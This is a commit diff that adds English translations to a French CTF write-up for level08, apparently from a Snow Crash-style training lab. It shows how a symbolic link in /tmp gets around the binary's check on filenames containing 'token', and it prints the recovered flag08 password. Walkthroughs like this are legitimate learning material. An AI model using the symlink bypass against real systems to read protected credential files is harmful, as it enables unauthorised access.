docs(lvl08): adding the english readme

This commit is contained in:
Raphael 2026-01-29 12:53:48 +01:00
parent 6c477e6684
commit 8ca64d08de
No known key found for this signature in database

View file

@ -1,4 +1,4 @@
Lors de mon arriver sur le level08 je remarque tout de suite que j'ai deux fichier sur mon home When arriving on level08 I immediately notice that I have two files in my home.
```bash ```bash
ls -l ls -l
@ -7,21 +7,20 @@ total 16
-rw------- 1 flag08 flag08 26 Mar 5 2016 token -rw------- 1 flag08 flag08 26 Mar 5 2016 token
``` ```
Un executable qui malgres mes tentative ne me donne rien de vraiement precis uniquement mais qui semble lire un fichier An executable which despite my attempts does not give me anything really precise but which seems to read a file.
```bash ```bash
./level08 ./level08
./level08 [file to read] ./level08 [file to read]
``` ```
Et je tente alors de lire token mais il me met un message d'erreur And I then try to read token but it gives me an error message.
```bash
./level08 token ./level08 token
You may not access 'token' You may not access 'token'
```
Mais la facon dont est fait le program protege uniquement un fichier qui contien token But the way the program is made only protects a file which contains token.
```bash ```bash
ltrace ./level08 token ltrace ./level08 token
__libc_start_main(0x8048554, 2, 0xbffff7f4, 0x80486b0, 0x8048720 <unfinished ...> __libc_start_main(0x8048554, 2, 0xbffff7f4, 0x80486b0, 0x8048720 <unfinished ...>
@ -32,18 +31,20 @@ exit(1 <unfinished ...>
+++ exited (status 1) +++ +++ exited (status 1) +++
``` ```
Je decide donc de faire un lien symbolique sur le fichier de token ailleurs (la ou je peux ecrire) I therefore decide to make a symbolic link to the token file elsewhere (where I can write).
```bash ```bash
ln -s /home/user/level08/token /tmp/test ln -s /home/user/level08/token /tmp/test
``` ```
Et j'obtiens quelque chose qui ressemble a un flag And I obtain something which looks like a flag.
```bash ```bash
./level08 /tmp/test ./level08 /tmp/test
quif5eloekouj29ke0vouxean quif5eloekouj29ke0vouxean
``` ```
qui n'est pas un flag mais le mot de passe pour flag08 auquel je me connect et fait la commande getflag Which is not a flag but the password for flag08 to which I connect and run the getflag command.
```bash ```bash
getflag getflag